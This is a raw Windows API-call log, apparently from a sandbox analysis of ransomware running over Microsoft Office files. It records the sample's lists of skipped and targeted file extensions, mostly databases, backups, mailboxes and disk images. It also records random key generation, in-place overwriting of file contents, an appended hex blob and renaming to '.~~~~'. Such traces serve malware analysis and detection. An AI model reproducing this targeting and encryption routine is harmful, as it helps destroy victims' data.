	[0139.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0139.947] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0139.948] CloseHandle (hObject=0x138) returned 1
	[0139.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e5e0
	[0139.948] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME46.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme46.css.~~~~")) returned 1
	[0139.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e5e0 | out: hHeap=0x300000) returned 1
	[0139.950] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0139.950] GetLastError () returned 0x0
	[0139.951] RtlWakeConditionVariable () returned 0x0
	[0139.951] GetCurrentThreadId () returned 0x9cc
	[0139.951] GetCurrentThreadId () returned 0x9cc
	[0139.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf1f0
	[0139.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d968 | out: hHeap=0x300000) returned 1
	[0139.951] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d6f8 | out: hHeap=0x300000) returned 1
	[0139.951] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38d968
	[0139.951] lstrlenW (lpString=".scr") returned 4
	[0139.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".scr") returned 0x0
	[0139.951] lstrlenW (lpString=".cmd") returned 4
	[0139.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".cmd") returned 0x0
	[0139.951] lstrlenW (lpString=".dll") returned 4
	[0139.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dll") returned 0x0
	[0139.951] lstrlenW (lpString=".bat") returned 4
	[0139.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".bat") returned 0x0
	[0139.951] lstrlenW (lpString=".cpl") returned 4
	[0139.951] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".cpl") returned 0x0
	[0139.951] lstrlenW (lpString=".sys") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".sys") returned 0x0
	[0139.952] lstrlenW (lpString=".msc") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".msc") returned 0x0
	[0139.952] lstrlenW (lpString=".com") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".com") returned 0x0
	[0139.952] lstrlenW (lpString=".lnk") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".lnk") returned 0x0
	[0139.952] lstrlenW (lpString=".msp") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".msp") returned 0x0
	[0139.952] lstrlenW (lpString=".pif") returned 4
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".pif") returned 0x0
	[0139.952] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0139.952] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0139.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138
	[0139.955] lstrlenW (lpString=".sqb") returned 4
	[0139.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".sqb") returned 0x0
	[0139.955] lstrlenW (lpString=".ost") returned 4
	[0139.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".ost") returned 0x0
	[0139.955] lstrlenW (lpString=".txt") returned 4
	[0139.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".txt") returned 0x0
	[0139.955] lstrlenW (lpString=".mdt") returned 4
	[0139.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".mdt") returned 0x0
	[0139.955] lstrlenW (lpString=".BDB") returned 4
	[0139.955] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".BDB") returned 0x0
	[0139.956] lstrlenW (lpString=".eql") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".eql") returned 0x0
	[0139.956] lstrlenW (lpString=".DBF") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DBF") returned 0x0
	[0139.956] lstrlenW (lpString=".EQL") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".EQL") returned 0x0
	[0139.956] lstrlenW (lpString=".FDB") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".FDB") returned 0x0
	[0139.956] lstrlenW (lpString=".EDB") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".EDB") returned 0x0
	[0139.956] lstrlenW (lpString=".DACPAC") returned 7
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DACPAC") returned 0x0
	[0139.956] lstrlenW (lpString=".VHD") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".VHD") returned 0x0
	[0139.956] lstrlenW (lpString=".DBV") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DBV") returned 0x0
	[0139.956] lstrlenW (lpString=".dacpac") returned 7
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dacpac") returned 0x0
	[0139.956] lstrlenW (lpString=".sdf") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".sdf") returned 0x0
	[0139.956] lstrlenW (lpString=".accdb") returned 6
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".accdb") returned 0x0
	[0139.956] lstrlenW (lpString=".DBX") returned 4
	[0139.956] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DBX") returned 0x0
	[0139.957] lstrlenW (lpString=".MDT") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".MDT") returned 0x0
	[0139.957] lstrlenW (lpString=".SQB") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".SQB") returned 0x0
	[0139.957] lstrlenW (lpString=".vhd") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".vhd") returned 0x0
	[0139.957] lstrlenW (lpString=".bac") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".bac") returned 0x0
	[0139.957] lstrlenW (lpString=".mdf") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".mdf") returned 0x0
	[0139.957] lstrlenW (lpString=".BAK") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".BAK") returned 0x0
	[0139.957] lstrlenW (lpString=".BAC") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".BAC") returned 0x0
	[0139.957] lstrlenW (lpString=".dbs") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dbs") returned 0x0
	[0139.957] lstrlenW (lpString=".vhdx") returned 5
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".vhdx") returned 0x0
	[0139.957] lstrlenW (lpString=".NDF") returned 4
	[0139.957] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".NDF") returned 0x0
	[0139.957] lstrlenW (lpString=".dat") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dat") returned 0x0
	[0139.958] lstrlenW (lpString=".DBS") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DBS") returned 0x0
	[0139.958] lstrlenW (lpString=".CKP") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".CKP") returned 0x0
	[0139.958] lstrlenW (lpString=".edb") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".edb") returned 0x0
	[0139.958] lstrlenW (lpString=".PST") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".PST") returned 0x0
	[0139.958] lstrlenW (lpString=".dbf") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dbf") returned 0x0
	[0139.958] lstrlenW (lpString=".SQL") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".SQL") returned 0x0
	[0139.958] lstrlenW (lpString=".pst") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".pst") returned 0x0
	[0139.958] lstrlenW (lpString=".dbv") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dbv") returned 0x0
	[0139.958] lstrlenW (lpString=".SDF") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".SDF") returned 0x0
	[0139.958] lstrlenW (lpString=".dtxs") returned 5
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dtxs") returned 0x0
	[0139.958] lstrlenW (lpString=".db3") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".db3") returned 0x0
	[0139.958] lstrlenW (lpString=".OST") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".OST") returned 0x0
	[0139.958] lstrlenW (lpString=".dbx") returned 4
	[0139.958] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dbx") returned 0x0
	[0139.959] lstrlenW (lpString=".DB3") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DB3") returned 0x0
	[0139.959] lstrlenW (lpString=".DAT") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DAT") returned 0x0
	[0139.959] lstrlenW (lpString=".VHDX") returned 5
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".VHDX") returned 0x0
	[0139.959] lstrlenW (lpString=".ndf") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".ndf") returned 0x0
	[0139.959] lstrlenW (lpString=".DB") returned 3
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DB") returned 0x0
	[0139.959] lstrlenW (lpString=".sql") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".sql") returned 0x0
	[0139.959] lstrlenW (lpString=".MYD") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".MYD") returned 0x0
	[0139.959] lstrlenW (lpString=".DBT") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DBT") returned 0x0
	[0139.959] lstrlenW (lpString=".ACCDB") returned 6
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".ACCDB") returned 0x0
	[0139.959] lstrlenW (lpString=".fdb") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".fdb") returned 0x0
	[0139.959] lstrlenW (lpString=".bak") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".bak") returned 0x0
	[0139.959] lstrlenW (lpString=".myd") returned 4
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".myd") returned 0x0
	[0139.959] lstrlenW (lpString=".DTXS") returned 5
	[0139.959] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".DTXS") returned 0x0
	[0139.960] lstrlenW (lpString=".ckp") returned 4
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".ckp") returned 0x0
	[0139.960] lstrlenW (lpString=".dbt") returned 4
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".dbt") returned 0x0
	[0139.960] lstrlenW (lpString=".db") returned 3
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".db") returned 0x0
	[0139.960] lstrlenW (lpString=".TXT") returned 4
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".TXT") returned 0x0
	[0139.960] lstrlenW (lpString=".MDF") returned 4
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".MDF") returned 0x0
	[0139.960] lstrlenW (lpString=".bdb") returned 4
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".bdb") returned 0x0
	[0139.960] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0139.960] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0139.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0139.960] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0139.960] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0139.961] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0139.961] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0139.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0139.962] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25995194409) returned 1
	[0139.962] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbcd6ecd0, dwHighDateTime=0x1d60e1e)) 
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38d6f8
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0139.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38d6f8 | out: hHeap=0x300000) returned 1
	[0139.962] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0139.962] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0139.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x38e490
	[0139.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0139.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c6380
	[0139.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e490 | out: hHeap=0x300000) returned 1
	[0139.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0139.963] GetLastError () returned 0x0
	[0139.963] GetLastError () returned 0x0
	[0139.963] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0139.964] GetLastError () returned 0x0
	[0139.964] GetLastError () returned 0x0
	[0139.964] ReadFile (in: hFile=0x138, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.010] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0140.011] WriteFile (in: hFile=0x138, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0140.011] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0140.011] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0140.011] WriteFile (in: hFile=0x138, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0140.104] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0140.104] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0140.104] CloseHandle (hObject=0x138) returned 1
	[0140.104] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x38e340
	[0140.104] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME47.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme47.css.~~~~")) returned 1
	[0140.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38e340 | out: hHeap=0x300000) returned 1
	[0140.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0140.146] GetLastError () returned 0x0
	[0140.147] RtlWakeConditionVariable () returned 0x0
	[0140.147] GetCurrentThreadId () returned 0x9cc
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".scr") returned 0x0
	[0140.147] lstrlenW (lpString=".cmd") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".cmd") returned 0x0
	[0140.147] lstrlenW (lpString=".dll") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".dll") returned 0x0
	[0140.147] lstrlenW (lpString=".bat") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".bat") returned 0x0
	[0140.147] lstrlenW (lpString=".cpl") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".cpl") returned 0x0
	[0140.147] lstrlenW (lpString=".sys") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".sys") returned 0x0
	[0140.147] lstrlenW (lpString=".msc") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".msc") returned 0x0
	[0140.147] lstrlenW (lpString=".com") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".com") returned 0x0
	[0140.147] lstrlenW (lpString=".lnk") returned 4
	[0140.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".lnk") returned 0x0
	[0140.148] lstrlenW (lpString=".msp") returned 4
	[0140.148] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME55.CSS", lpSrch=".msp") returned 0x0
